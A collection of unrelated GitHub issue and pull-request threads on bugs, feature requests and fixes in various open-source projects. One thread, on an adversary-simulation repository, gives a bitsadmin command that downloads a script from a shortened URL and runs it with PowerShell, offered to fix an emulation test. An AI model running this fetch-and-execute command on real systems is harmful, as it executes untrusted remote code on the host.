No more update?

Is your feature request related to a problem? Please describe.
A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
Describe the solution you'd like
A clear and concise description of what you want to happen.
Describe alternatives you've considered
A clear and concise description of any alternative solutions or features you've considered.
Additional context
Add any other context or screenshots about the feature request here.

I do have some plan on update(such as migrate to Jetpack's ViewModel and Lifecycle), but currently I'm busy doing my own job.

I do have some plan on update(such as migrate to Jetpack's ViewModel and Lifecycle), but currently I'm busy


Recolouring usernames causes friends to not count as friends, and ignoring someone to not remove existing chat messages

If any of the username recolour options are set under Chat Color, the client fails in certain ways. Notably, if a username is recoloured and the user is subsequently ignored, the existing chat messages don't get removed like usual. Another obvious behaviour is if you have someone added as a friend, and either have Public friend usernames, Usernames, or Friends chat usernames (if they're in an FC with you), right clicking their message will give a menu as if they're not on your friends list (no Message option, shows Add friend and Add ignore)
To Reproduce

Set Chat Color -> Usernames to something.
Go to a high traffic area (eg. W302 GE)
Add any one of the spammers there to your ignore list
Add them to the ignore list again using the same message, and note that they're already on your ignore list. Without the colour, the message you used to add them the second time would have been hidden.
Add another random spammer to your friends list. It does not matter if you or the target have private on.
Note that if you right click their message again, it won't have the option to message them, and will instead show options to add them as a friend or to the ignore list.

Expected behaviour
Messages with recoloured usernames should act the same as messages without recoloured usernames.
Screenshots
This issue was originally reported by Lazark in the Discord, and I have confirmed all of the above situations. Below is a gif they provided of the issue.

Environment (please complete the following information):

RuneLite version: 1.7.5

fixed in 90f200be531b8a899a605521f3e9840de6f9794d


[WB-5669] Implement label proposal

https://wandb.atlassian.net/browse/WB-5669
Description
Add ability to label scripts and repositories (and more eventually) with label tags in the source and embedded into frameworks.
This can be used to better understand how customers get activated: what was their initial experience? etc.
The format chosen was inspired by BibTex format.  The closest modern way of organizing code metadata is:
https://codemeta.github.io/, but there wasnt anything like an in-code annotation format that was terse enough.
How to use
Label tags can be added in multiple ways:

Add to the source script: (only checks the first docstring in the main module)

"""
This is my doc string for my script

@wandbcode{myscript123, v=2}
"""
import wandb

Add to the notebook: (only checks the first cell)
Specify with run._label()

Analytics
Label information is stored in the telemetry protocol buffer:
https://paper.dropbox.com/doc/CLI-Telemetry-Project--BEkdeh1pReI2bWOblq97J_xjAg-lPOOPwUGIJoMenU0DXJz4
Caveats
This will only work for client library 0.10.32 and later, earlier client versions will not break, but they will not add label information.
Alternatives
Store data directly in config:
PRO:  will work with all client library versions
CON: pollutes the wandb API, makes examples look more complicated.
Background
Early tracking/label proposal:
https://paper.dropbox.com/doc/Tracking-examplesreposframeworks--BLgVczJOXu~9rXkBG6ijVFS7Ag-wSxbYSY5m3ZqmO5HjdIhP (outdated)
Future work

Encode common repos (this will allow for multiple repo labels in a run)
Add usage info for improper (unhandled labels) - right now they are ignored
Additional label parameters (checkpoints)

Testing
How was this PR tested?
unittests

Looks great! Looking forward to this. How will the id be used on the backend? If a single traceback touches frames with multiple @wandbcode labels (e.g., label on the user main script, and label on the pytorch framework or similar), will those labels be combined in sentry?

Good question.  There will be a new field added to the Label proto that has all the partner repos, the string will catch the new ones.  I will put this in a follow on PR, not sure if it will make this release or next.
There will only be one "code" string, since it is the main program only.


Can't require test helpers

I'm trying to require the test helpers with the following:
require "cacheable_flash/test_helpers"

but i'm getting an error and being told that theres "no such file to load"

It appears that one of the forks I merged in removed that file.  Will investigate further.  The spec for test_helpers broke for unrelated reasons (heavily reliant on Rails 2 API, didn't work at all with Rails 3 so it was commented out).


about channel aggregation

maybe silly question, but according to the paper, you mentioned in 3.1 after doing FFT and Amp, you did an avg between each channel, but this affair did't mentioned anywhere in the rest of the paper. Furthermore, in 3.2, you firstly did a projection from TC to Td_model, effectively aggregating each channel before they were processed. Won't this move hurt the frequency information of individual channel? This is quite confusing for me overall. Appreciate it if you can provide an answer

Hi, very interesting question.
Firstly, we project the input (multivariate series) into the deep representations for a unified and comprehensive understanding of the input information. After this projection, all the channels are equivalent. Thus, I average along the channel dimension for the periodicity process.
About the question "Won't this move hurt the frequency information of individual channel?" I have to say that there is no free lunch for multivariate modeling. Since we want to accomplish multivariate forecasting within one model, we have to face the potential competition among different varieties. In TimesNet, we directly project multiple series into one unified representation for a better understanding of the overall semantic information.


Django Deployment Databases

Hi Matt !
Thanks for the awesome presentation.
I was wondering if you have any guide for moving migrations from development environment to production ?
Doing python manage.py migrate on production creates lot of errors (tables/relation already exist etc)
I wanted to know the best practise for to move migrations to production.
Thanks a lot !

hi @Amar-Chaudhari, this is really going to depend on your particular project and development process. I'd definitely recommend you have a staging environment with a replica of the existing production database where you apply all migrations first before moving to prod. That's not always possible in every environment (such as with government regulated data) but for most projects that's the starting point for a working migration.
If you're running into a lot of migration errors, you'll have to track those issues down and find out why they keep reoccurring - it could be multiple developers on your team are stepping over one another or some of the migration files aren't being committed/pull properly between environments. It'll depend on your project and environment.
When I get a chance I'll create a migrations page for Full Stack Python based on prior experience that will be helpful.


Fix CreateTopicsResponse generation

The key is in handling optionality and defaults of primitive types correctly.

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Comparison is base (579d5a0) 98.73% compared to head (873d8c6) 98.73%.

Additional details and impacted files
@@           Coverage Diff           @@
##             main      #99   +/-   ##
=======================================
  Coverage   98.73%   98.73%
=======================================
  Files          13       13
  Lines         951      951
  Branches      132      132
=======================================
  Hits          939      939
  Misses          7        7
  Partials        5        5

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


Fix the execution_win_bitsadmin.yml

I tested the action in the metta/MITRE/Execution/execution_win_bitsadmin.yml on Win10, Win8, Win 7
You can change with this:
cmd.exe /c bitsadmin.exe /transfer mimi /Download /priority high http://bit.ly/2fMPgDz C:\Tools\Default_File_Path.ps1; cmd.exe /c powershell C:\Tools\Default_File_Path.ps1

Because current version is just working on Win8. Not working on Win10 and Win7.

thanks, taking a look/testing this

https://github.com/uber-common/metta/commit/4a15b790701fe84a6493e52aec95e5788fef1a04


TcLog not writing to file system

This may be a user issue, but I have followed the configuration as per the documentation, and while I can log to ADS, I cannot write logs to the filesystem. Any advice on what the issue may be would be appreciated! My setup is the following:
Main Variable list
...
// Logger
VAR
  _coreLogger : TcLogLib.TcLogCore(bufferSize := 100 * (UDINT_TO_DINT(Tc2_System.MAX_STRING_LENGTH) + TcLogLib.Constants.FifoOverhead));
END_VAR
...

Main Body
IF NOT initialize() THEN
	RETURN;
END_IF

stateMachine();
system(isSimulation := isSimulation);
_coreLogger();

Main.initialize() Body

IF isInitialized THEN
	initialize := TRUE;
	RETURN;
END_IF

// Set isInitialized, then allow it to be reset if any component isn't initialized
isInitialized := TRUE;

// Use the set command, which cannot make a BOOL TRUE
isInitialized S= stateMachine.initialize();

IF isDebug THEN
	_coreLogger
		.WriteToAds()
		.WriteToFile('c:\Kie Solution\', 'PLC_LOGS.txt')
		.SetRollingInterval(RollingIntervals.Monthly)
		.MinimumLevel(TcLogLib.LogLevels.Debug)
		.IncludeInstancePath()
		.RunLogger();
ELSE
	_coreLogger
		.WriteToAds()
		.WriteToFile('c:\Kie Solution\', 'PLC_LOGS.txt')
		.SetRollingInterval(RollingIntervals.Monthly)
		.MinimumLevel(TcLogLib.LogLevels.Warning)
		.IncludeInstancePath()
		.RunLogger();
END_IF

GlobalFBs.Logger.SetLogger(_coreLogger);

initialize := isInitialized;

Hi, there are two things:
First, please always run your core logger. Right now, as soon as it's initialised it will not get called anymore. It should run in every cycle of the PLC. See the first code snippet in the Readme.
Second, if the first suggestion doesn't solve the issue try removing the whitespace from your path.

That was it! I moved the core logger RunLogger() method to the main program, and it works now! Thank you!


Default route name

Instead of manually go to each view and set the route name Laravel\Folio\name('website.register'), wouldn't be nice to set default route name for each view/page dynamically?
For example pages/login.blade.php => route('login')  and pages/users/profile => route('users.profile')
Aaand to be greedy would add As() option to the Folio::path(..)->as('website.'), so all routes now inside this path would have its route name as route('website.login') and ('website.users.profile')
This is just a feature idea I thought about the other day, Thanks 💌

This has been proposed before. Having to set the route name automatically defeats the purpose of route names alltogether. If you rename the file you'll have to change all route names. In that case you could also just change all urls.


Problem with MalisisDoors and Buildcraft

If I load VanillaFix along with Malisis, the game just doesn't even load. I click play, wait 5 seconds, and it says "sorry game has crashed"
Disabling it I get all the way through, only to be told Buildcraft crashes it, all modules of it too.
I've tried loading it in a new fresh instance with only Malisis and Buildcraft, Malisis still crashes it before it can load. But Buildcraft manages to make it through. I'll post the .log and crash report here. I'll also post a .zip containing the manifest.json for the mods I use, along with the overrides in case that might help.
It won't affect me too much if this doesn't get solved. As the main reason I need VanillaFix in the pack is for my brother to play the game with me. He's got an older computer, saving up for a new one, and occasionally crashes. Thought this might be a good addition to the pack so he wouldn't have to wait 5-10 minutes to load into the game. But who knows, this might be an issue for others too. Anyway, thanks for your time and effort, I've used VanillaFix in the past for when I was on the move a lot and had to play on my 4-year-old laptop, safe to say I wouldn't have been able to play as much without the mod, cheers
Semi-Serious-1.0.0.zip
https://pastebin.com/mMqXh7XE
https://pastebin.com/u9qYvdBH

From what I've read somewhere else, Malisis comes prebundled with something called Mixins and it's apparently incompatible with the newest version of Mixins, which I think VanillaFix uses. You'd likely need to use an older version of VanillaFix

Check #265 and #296


Add yarn to the nix-shell

I can't build locally:
[error] (ember-serverJS / Test / npmInstallDependencies) java.io.IOException: Cannot run program "yarn" (in directory "/Users/ross.baker/src/http4s/ember-server/js/target/scala-2.12/scalajs-bundler/test"): error=2, No such file or directory

This probably falls on me, but we also should have an environment setup for people who don't want one out of the box.

Yarn is needed for installing a websockets client to test the websockets server. We may be able to remove this after https://github.com/http4s/http4s/issues/5227.

Fixed by #5238


Modal Functionality

This PR introduces modal functionality into the image carousel. Selecting to "Expand" an image will pop open an image with this image content. Styling happens by adding a modal-active class to the body, where the elements are styled within this state class.
Todo

[x] Add arrow, close and expand icons
[ ] Add "close" functionality
[x] ESC to close functionality
[ ] Selecting pagination forces modal

Upon further review, I don't think the specific icons should be added here, but in the project itself. This would keep it from coupling too tightly to a specific style.
I'll continue to add "Close" and "Forced Pagination".


 System Linux 4.19.90-24.4.v2101.ky10.aarch64
gyp ERR! command "/usr/bin/node-v14.15.4-linux-arm64/bin/node" "/root/npmbuilder/gd-assets-ui/node_modules/node-gyp/bin/node-gyp.js" "rebuild" "--verbose" "--libsass_ext=" "--libsass_cflags=" "--libsass_ldflags=" "--libsass_library="
gyp ERR! cwd /root/npmbuilder/gd-assets-ui/node_modules/node-sass
gyp ERR! node -v v14.15.4
gyp ERR! node-gyp -v v3.8.0
gyp ERR! not ok
Build failed with error code: 1
npm info lifecycle<EMAIL_ADDRESS>Failed to exec postinstall script
npm timing action:postinstall Completed in 622ms
npm timing stage:rollbackFailedOptional Completed in 152ms
npm timing stage:runTopLevelLifecycles Completed in 73309ms
npm WARN<EMAIL_ADDRESS>requires a peer of<EMAIL_ADDRESS>but none is installed. You must install peer dependencies yourself.
npm WARN<EMAIL_ADDRESS>requires a peer of<EMAIL_ADDRESS>|| ^3.1.1 but none is installed.  Exit status 1
npm ERR!
npm ERR! Failed at the<EMAIL_ADDRESS>postinstall script.
npm ERR! This is probably not a problem with npm. There is likely additional logging output above.
npm timing npm Completed in 75092ms

npm ERR! A complete log of this run can be found in:
npm ERR!     /root/.npm/_logs/2023-02-06T10_41_34_796Z-debug.log

According to the previous issue, it is not supported, but it is still unclear what is the reason.
Due to political reasons between mainland China and the United States, mainland China has basically fully promoted the deployment of CPUs using the ARM64 architecture, especially at the national level.
If you see this question and answer, can you give us the reasons for not doing ARM64 support? In addition, if we have to run the business under ARM64, is there any solution for relying on node-sass? thanks.

If you install the C++ compiler (like g++) and the libraries, it should build from source and work.

Excuse me, can you be more specific? Do you mean that the arm64 environment is now supported?

The error you are seeing is caused by the fact that the machine you are installing node-sass on does not have C++ development environment installed.
node-sass team does not provide pre-built binary releases for arm64 and other platforms (check out the https://github.com/sass/node-sass/releases/tag/v8.0.0 release for example).
However, if you install C++ compiler you can build the binary extension file yourself, and distribute it to your deployments separately.


Easy creation of client when creating an appointment

The operator should have a button when creating a new appointment to create and assign it to a new client.
As an operator, it doesn't make sense to ask a bunch of information about the client and then proceed to tell them you are not free at their desired time.
First create the appointment and then ask the desired personal details.
This issues is created after a conversation with a user #42

I'll use this comment section to propose and debate some ideas to implement this.

A button link to the form: This is probably the easier to implement, but we will need to make sure redirections are done properly
Add a small form when creating a new appointment: This is also easy to implement but if you need many client details it does not make sense to have a completely new form.
Detect null client (or a new client option in dropdown) and redirect to the form: We will need to make sure we're passing the appointments details right, or maybe create the appointment w/out a client and assign it after you submit the form. I like the flow of this idea but it might be kinda hard to implement.

Feel free to add any more ideas.


Uncaught Error: Cannot find module "child_process" at webpackMissingModule

When using @chatie/graphql in Ionic3, we got this error message.
It seems that export LocalServer in our main index.ts cause this WebPack error, even we never import it.
See Also

https://github.com/d3/d3-request/issues/24#issuecomment-327232538
https://github.com/alxshelepenok/gatsby-starter-lumen/pull/51
https://github.com/webpack/webpack/issues/744

BTW: another related problem is when @chatie/graphql are using pkg-up to find package.json in local directories, the ionic will build without error or warning, but shows a Runtime Error Cannot read property 'prototype' of undefined .

browser: { fs: false, child_process: false } to the package.json would do the trick

See: https://github.com/asvd/jailed/issues/22

It seems the problem solved.


[BUG] HTML export does not correctly keep viewport

Here's a video showing what I mean.
https://github.com/user-attachments/assets/7ff3f483-5848-4eac-85eb-07de43c8c8fa
Here is the original splat + HTML viewer files
https://huggingface.co/datasets/pablovela5620/supersplat-regression/blob/main/splat-viewer.html

I've noticed that the browser sometimes caches old versions of the html file. Can you please try clearing the browser cache and then loading the html again?

I cleared browser data using
Click the three vertical dots (⋮) in the top-right corner.
Navigate to More Tools > Clear browsing data.
In the Time range dropdown, select All time.
Check Cached images and files.
Click Clear data.

and I'm still getting the same results

I've tried both on my linux machine, and on my MacBook. Exporting on either current viewport or 1st camera results in the broken view above

Oh damn I know what the issue is. (Sorry just got a chance to look).
We set the camera's front and back clipping plane to cover the whole scene's extents and in this case it means the front clipping plane is too large.
You can edit the .html file and set line 203 and 204 something like:
this.entity.camera.farClip = 100;
this.entity.camera.nearClip = 0.01;

Sorry about this, it's actually come up once before and I just forgot to submit a fix.

Looks like that fixed it! Ill leave this issue for now until there's a more permanent fix


i18n framework

There are two issues I'm pointing out:

Since the strings.xml file has been changed in my Pull Request #128 (added extra strings), I think the strings.xml Chinese version needs to be updated as well. (PS: not sure if this is needed)

The error and network dialogs in Pull Request #128 have to be translated to Chinese as well.

I can't really do this, but please assign this to whoever made that strings.xml file.
@creativepsyco @mananwason

We will use some crowd-source translation engines for this purpose like https://www.transifex.com/ or https://crowdin.com/

Sure!

@shivenmian This too :p

+1 for crowdin. Using that for http://aokp.co for a long time and works
beautifully
On 04-Apr-2016 3:34 pm, "Harshit Dwivedi"<EMAIL_ADDRESS>wrote:

@shivenmian https://github.com/shivenmian This too :p
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly or view it on GitHub
https://github.com/fossasia/open-event-android/issues/139#issuecomment-205225810

I wrote about using CrowdIn in my proposal as well.

@mananwason Do we need to add translations right now?
Most of the string in our app are already translated.

@the-dagger I am thinking no. Right now our priority is to get the app working. This is a feature for later. Closing it.


feat: display requested amount and recipient fields inside Community Pool Spend proposal details page

Description
Closes: #XXXX
BDU-675

Author Checklist
All items are required. Please add a note to the item if the item is not applicable and
please add links to any relevant follow up issues.
I have...

[x] ran linting
[x] wrote tests where necessary
[x] included the correct type prefix in the PR title
[x] targeted the correct branch
[x] provided a link to the relevant issue or specification
[x] reviewed "Files changed" and left comments if necessary
[ ] confirmed all CI checks have passed
[x] added an entry to the CHANGELOG.md file

I want to clarify on how we add a new field proposalType: string to general_types.ts
is this the steps to add a new field?

on proposal_details.graphql add the field proposalType: proposal_type
if the other chain had the same change, use find and replace to update all of them
run yarn graphql:codegen to update general_types.ts

https://pr-afzilu1v2-bigdipper.vercel.app/cosmos

Tested ACK


Feature: Class Type reflection capabilities

I would love to see the reflection capabilities with class instances, just like obj.constructor works like.
I use class-transformer for document serialization:
import { Typegoose, prop as Property } from "typegoose";
import { Exclude, Expose } from "class-transformer";

@Exclude()
export class User extends Typegoose {

    @Expose()
    id: string;

    @Expose()
    @Property({ unique: true })
    email: string;

    @Property()
    password: string;

}

export const UserModel = new User().getModelForClass(User);

It would be amazing to be able to write generic serialize method which could take the original ClassType from the mongoose document and invoke plaintToClass(ClassType, object) without explicit specifying the constructor class function.
Examples:
// instead writing in http framework controllers methods
const dbUser = await UserModel.findOne({ email: "test" });
const clsUser = plainToClass(User, dbUser!);
return classToPlain(clsUser);

// I would like to return plain document
return await UserModel.findOne({ email: "test" });

// and the `serialize` method would be invoked by http framework before sending response to client
function serialize(document) {
    const ClassType = getClassTypeForTypegooseDocument(document);
    return plainToClass(ClassType, document);
}

I know that your main goal is to define the schema by class but since you don't return the class itself as a document (like TypeORM does) it would be necessary to provide posibility to get the class of the document of schema created by the class 😉
I think that the best way would be to store this.constructor function from getModelForClass inside typegoose's constructors dictionary and then get the constructor by model name with the model name from docObj.constructor.modelName 😃

Thanks, I've added comments to the PR.


Dashboard preview doesn't disappear after opening a file

I'm using latest neovim version. My configuration is same as shown in this repository:
vim.g.dashboard_preview_command = 'cat'
vim.g.dashboard_preview_pipeline = 'lolcat -F 0.2'
vim.g.dashboard_preview_file = '~/.config/lvim/dashboard_header'
vim.g.dashboard_preview_file_height = 10
vim.g.dashboard_preview_file_width = 50

By the way, if some other thing is drawn on top of the preview, it dissappear, obviously. But if I open a new file, it stays there.


fix: 🐛 be more specific when catching exceptions

The same specific exception is catched in other parts of the same
function.

To give more context: after our discussion, if I understood properly, you are trying to fix a call to datasets that takes 15 minutes: https://github.com/huggingface/datasets-preview-backend/issues/17 Is this right?

Yes, that's it. And to do that I'm trying to use https://pypi.org/project/stopit/, which will raise a stopit.TimeoutException exception. But currently, if this exception is raised, it's caught and considered as a "FileNotFoundError" while it should not be caught.

And what about passing the timeout parameter instead?

It might be a good idea, but I would have to add a timeout argument to several methods, I'm not sure we want that (I want to ensure all my queries in https://github.com/huggingface/datasets-preview-backend/tree/master/src/datasets_preview_backend/queries resolve in a given time, be it with an error in case of timeout, or with the successful response). The methods are prepare_module, import_main_class, builder_cls.get_all_exported_dataset_infos, load_dataset_builder, and load_dataset

I understand, you are trying to find a fix for your use case. OK.
Just note that it is also an issue for datasets users. Once #2859 fixed in datasets, you will no longer have this issue...

Closing, since 1. my problem is more #2859, and I was asking for that change in order to make a hack work on my side, 2. if we want to change how exceptions are handled, we surely want to do it on all the codebase, not only in this particular case.


We should be able to specify a delay while running docker service scale service_name=X

Hello people !
That would be really nice to be able to specify a delay when we scale docker service.
There is multiple service out there that are just not ready to face racing conditions and scaling multiple containers at once can make a mess of them.
Here's some examples:

Cassandra: You can't have multiple cassandra node rejoining a cluster simultaneously or the bootstrap process will fail.

Applications running Serf in background for clustering features : Serf join command will sometimes hang if it tries to reach another container not fully booted yet, scaling containers too fast can cause that.

Sometimes applications runs migrations while bootstraping, but doesn't if the migrations are already there. Launching the whole stack of containers at once could cause all the containers to try to run the migrations simultaneously and crash.

I tried to workaround the problem using service update --update-parallelism and --update-delay but it doesn't work. So finally I found a workaround with ansible to manage the scaling one container at a time, and using "wait" role in between. I believe we could do better and add a proper way to do it
The idea is launched, any comments or objections ?
Is there a better suited place to communicate our improvement ideas or right here is just fine ?
Thx !

@JnMik this is a Swarm Mode issue, which you should open on https://github.com/moby/moby.
Read https://github.com/docker/swarm/blob/master/README.md#swarm-disambiguation for an explanation.


Hash mismatch when running the same migration on different OS (Windows and macOS)

There's a hash mismatch when running the same migration on different operating systems. I believe it's due to the line endings, the hash that gets generated is different. What's the possible solution to this? Will replacing CRLF with LF fix this?

Great, thanks. That's useful context.
Since this is essentially a breaking change on Windows, in my mind this potentially needs a new major version.
I have some other changes I'd like to merge in as well (#58) so I'll find some time soon to get those changes in and release them.

I had this issue 3 years ago and forked to remove hash checks; is there any potential for this being merged and released soon? I have just played around with pulling the latest version of postgres-migrations into my hacky-fork and removing hash checks again but i'd far rather be on the main codebase again :)

Probably, faced the same problem. Initially ran migration on Windows. After that tried to run same migration on the same DB but in wsl2 ubuntu. Got:

Migration failed. Reason: Hashes don't match for migrations

I think hash should be generated after formatting the SQL file without any excessive new space or any new line at all. So that even with formatting differences, the output of the hash is the same.

I ended up forking and making the migrator log hash differences but not prevent the migrations from running. This is fine as the project is only for me so there isn't a chance of index clashes etc.

Faced this issue recently, ended up patching the package with pnpm patch.


Union type treated as an intersection when assigned to a parameter.

#

TypeScript Version:  2.6.0
Code
export type Constructor = { new(...args: any[]): {} };

export interface BaseProvider {
    provide: Constructor | string;
}

export interface ClassProvider extends BaseProvider {
    useClass: Constructor;
}

export interface FactoryProvider extends BaseProvider {
    useFactory: Function;
}

export interface ValueProvider extends BaseProvider {
    useValue: any;
}

export type Provider = ClassProvider | ValueProvider | FactoryProvider;

export class Injector {
    registerSingleton(provider: Provider){
       // error here
        console.log(provider.useClass);
   }
}

Expected behavior:
I should be able to access the useClass property of provider without getting a Typescript error hint.
See comment in the code.
Actual behavior:
Gives a Typescript error hint: useClass does not exist on type ValueProvider.
See comment in the code.

The union type ClassProvider | ValueProvider | FactoryProvider implies a Provider describes values that could be any of ClassProvider or ValueProvider or FactoryProvider, so you're not guaranteed to have a property named useClass available at runtime.

Noted, so I should basically use type assertion to avoid the issue.


Split COPY stmts and fix invalid s3 hostname exceptions with old aws-…

…java-sdk
We've seen a lot of messages lately regarding the "Invalid S3 URI: hostname does not appear to be a valid S3 endpoint" exception and so thought we should contribute our two cents and the code changes that worked for us.  We've tried many approaches listed in that thread including using spark.executor.extraClassPath and spark.driver.extraClassPath environment variables to prepend to the classpath, including it in the assembled jar or as a shaded jar,  Unfortunately many of these approaches failed mainly because we have on the machines themselves the aws-java-sdk jar and that usually takes precedence.  We ended up going with what Josh mentioned earlier about changing the s3 url in the spark-redshift code to add the endpoint to the host (*.s3.amazonaws.com).
Furthermore, we also ran into an issue where writing a large amount of data would fail (> 300GB of compressed data).  We found that we could upload the data to s3 but when we execute the COPY statement for a single manifest, the operation would timeout.  As such, we break out the manifest and run the COPY statement on each of the entry urls in the manifest.

Thanks for the PR. It looks like this PR incorporates two logically separate changes, the COPY change and the fix for the S3 hostnames. Would you mind separating these changes into two separate PRs so they can be reviewed and merged separately?

Thanks for getting back to us so quickly.  Sure will do.  I'll close this for now and reopen two separate PRs.


Configure redfish_client_timeout with charm config

In environments where Redfish is slower to respond than 3 seconds, the hardware-observer fails to collect data and logs report
python3[3797165]: 2024-02-22 07:15:27 INFO User logged out: {"Success":{"code":"Base.v1_10_3.Success","Message":"Successfully Completed Request."}}
python3[3797165]: 2024-02-22 07:15:27 ERROR Exception occurred while getting redfish object:
python3[3797165]: Traceback (most recent call last):
python3[3797165]:   File "/var/lib/juju/agents/unit-hardware-observer-infra-2/charm/venv/urllib3/connectionpool.py", line 536, in _make_request
python3[3797165]:     response = conn.getresponse()
python3[3797165]:   File "/var/lib/juju/agents/unit-hardware-observer-infra-2/charm/venv/urllib3/connection.py", line 461, in getresponse
python3[3797165]:     httplib_response = super().getresponse()
python3[3797165]:   File "/var/lib/juju/agents/unit-hardware-observer-infra-2/charm/venv/urllib3/connection.py", line 461, in getresponse
python3[3797165]:     httplib_response = super().getresponse()
python3[3797165]:   File "/usr/lib/python3.10/http/client.py", line 1375, in getresponse
python3[3797165]:     response.begin()
python3[3797165]:   File "/usr/lib/python3.10/http/client.py", line 318, in begin
python3[3797165]:     version, status, reason = self._read_status()
python3[3797165]:   File "/usr/lib/python3.10/http/client.py", line 279, in _read_status
python3[3797165]:     line = str(self.fp.readline(_MAXLINE + 1), "iso-8859-1")
python3[3797165]:   File "/usr/lib/python3.10/socket.py", line 705, in readinto
python3[3797165]:     return self._sock.recv_into(b)
python3[3797165]:   File "/usr/lib/python3.10/ssl.py", line 1274, in recv_into
python3[3797165]:     return self.read(nbytes, buffer)
python3[3797165]:   File "/usr/lib/python3.10/ssl.py", line 1130, in read
python3[3797165]:     return self._sslobj.read(len, buffer)
python3[3797165]: TimeoutError: The read operation timed out
python3[3797165]: The above exception was the direct cause of the following exception:
python3[3797165]: Traceback (most recent call last):
python3[3797165]:   File "/var/lib/juju/agents/unit-hardware-observer-infra-2/charm/venv/requests/adapters.py", line 486, in send
python3[3797165]:     resp = conn.urlopen(
python3[3797165]:   File "/var/lib/juju/agents/unit-hardware-observer-infra-2/charm/venv/urllib3/connectionpool.py", line 844, in urlopen
python3[3797165]:     retries = retries.increment(
python3[3797165]:   File "/var/lib/juju/agents/unit-hardware-observer-infra-2/charm/venv/urllib3/util/retry.py", line 470, in increment
python3[3797165]:     raise reraise(type(error), error, _stacktrace)
python3[3797165]:   File "/var/lib/juju/agents/unit-hardware-observer-infra-2/charm/venv/urllib3/util/util.py", line 39, in reraise
python3[3797165]:     raise value
python3[3797165]:   File "/var/lib/juju/agents/unit-hardware-observer-infra-2/charm/venv/urllib3/connectionpool.py", line 790, in urlopen
python3[3797165]:     response = self._make_request(
python3[3797165]:   File "/var/lib/juju/agents/unit-hardware-observer-infra-2/charm/venv/urllib3/connectionpool.py", line 538, in _make_request
python3[3797165]:     self._raise_timeout(err=e, url=url, timeout_value=read_timeout)
python3[3797165]:   File "/var/lib/juju/agents/unit-hardware-observer-infra-2/charm/venv/urllib3/connectionpool.py", line 370, in _raise_timeout
python3[3797165]:     raise ReadTimeoutError(
python3[3797165]: urllib3.exceptions.ReadTimeoutError: HTTPSConnectionPool(host='<IP_ADDRESS>', port=443): Read timed out. (read timeout=3)
python3[3797165]: During handling of the above exception, another exception occurred:
python3[3797165]: Traceback (most recent call last):
python3[3797165]:   File "/var/lib/juju/agents/unit-hardware-observer-infra-2/charm/venv/redfish/rest/v1.py", line 910, in _rest_request
python3[3797165]:     resp = self._session.request(method.upper(), "{}{}".format(self.__base_url, reqpath), data=body,
python3[3797165]:   File "/var/lib/juju/agents/unit-hardware-observer-infra-2/charm/venv/requests/sessions.py", line 589, in request
python3[3797165]:     resp = self.send(prep, **send_kwargs)
python3[3797165]:   File "/var/lib/juju/agents/unit-hardware-observer-infra-2/charm/venv/requests/sessions.py", line 703, in send
python3[3797165]:     r = adapter.send(request, **kwargs)
python3[3797165]:   File "/var/lib/juju/agents/unit-hardware-observer-infra-2/charm/venv/requests/adapters.py", line 532, in send
python3[3797165]:     raise ReadTimeout(e, request=request)
python3[3797165]: requests.exceptions.ReadTimeout: HTTPSConnectionPool(host='<IP_ADDRESS>', port=443): Read timed out. (read timeout=3)
python3[3797165]: The above exception was the direct cause of the following exception:
python3[3797165]: Traceback (most recent call last):
python3[3797165]:   File "/var/lib/juju/agents/unit-hardware-observer-infra-2/charm/venv/prometheus_hardware_exporter/collector.py", line 1016, in fetch
python3[3797165]:     ) = redfish_helper.get_storage_controller_data()
python3[3797165]:   File "/var/lib/juju/agents/unit-hardware-observer-infra-2/charm/venv/prometheus_hardware_exporter/collectors/redfish.py", line 276, in get_storage_co>
python3[3797165]:     system_resources = self.redfish_obj.get(
python3[3797165]:   File "/var/lib/juju/agents/unit-hardware-observer-infra-2/charm/venv/redfish/rest/v1.py", line 628, in get
python3[3797165]:     return self._rest_request(path, method='GET', args=args,
python3[3797165]:   File "/var/lib/juju/agents/unit-hardware-observer-infra-2/charm/venv/redfish/rest/v1.py", line 1110, in _rest_request
python3[3797165]:     return super(HttpClient, self)._rest_request(path=path, method=method,
python3[3797165]:   File "/var/lib/juju/agents/unit-hardware-observer-infra-2/charm/venv/redfish/rest/v1.py", line 954, in _rest_request
python3[3797165]:     raise RetriesExhaustedError() from cause_exception
python3[3797165]: redfish.rest.v1.RetriesExhaustedError

The default timeout is 3 seconds. It is quite strict and cannot be configured via charm configuration.
However, there is a configuration point in /etc/hardware-exporter-config.yaml
redfish_client_timeout: 10

Would be quite helpful to have this timeout configurable via charm config.

@sudeephb , please confirm if this one is also covered by #193 ?

@sudeephb , please confirm if this one is also covered by #193 ?

No, this needs to be taken care of separately. Even if we have a very long collect_timeout, redfish client timeout won't be changed, and it will timeout after 3 seconds.

Couple of points to note here:

The collect_timeout being configured in /etc/hardware-exporter-config.yaml is the timeout for collectors executing subprocess calls (eg: IPMI) and is NOT related to redfish_client_timeout. #193 only handles collect_timeout.
@valexby I would like to know where you found the default redfish timeout to be 3 seconds. In prometheus-hardware-exporter, we configure the default timeout to be 15s.
If necessary, we can expose this as a modifiable charm config option with a reasonable default value.


Envoy filter: unknown field "typed_config" in envoy.config.route.v3.Route

Bug Description
A sample Istio virtual service. It retries 5 times without backoff or Jitter.
apiVersion: networking.istio.io/v1alpha3
kind: VirtualService
metadata:
  name: playlists-api
spec:
  hosts:
  -  playlists-api
  http:
  - name: playlists-api
    route:
    - destination:
        host: playlists-api
    retries:
      attempts: 5
      perTryTimeout: 2s

I want to apply Jitter and exponential backoffs to the retries, so adding an envoy Filter
apiVersion: networking.istio.io/v1alpha3
kind: EnvoyFilter
metadata:
  name: retry-interval
spec:
  workloadSelector:
    labels:
      app: playlists-api
  configPatches:
  - applyTo: HTTP_ROUTE
    match:
      context: SIDECAR_OUTBOUND
    patch:
      operation: MERGE
      value:
        name: envoy.filter.retry
        typed_config:
          '@type': type.googleapis.com/envoy.extensions.filters.http.router.v3.Router
        route:
          retry_policy:
            retry_back_off:
              base_interval: 4s
              max_interval: 40s

getting output:
Warning: Envoy filter: unknown field "typed_config" in envoy.config.route.v3.Route
envoyfilter.networking.istio.io/retry-interval created

As expected the retries are not with exponential backoff.

envoy says exponential backoff is by default. But istio does not provide the backoff retries as default.
Getting warning when trying to add envoy proxy filter to support exponential backoff.

Version
client version: 1.16.0
control plane version: 1.16.0
data plane version: 1.16.0 (8 proxies)

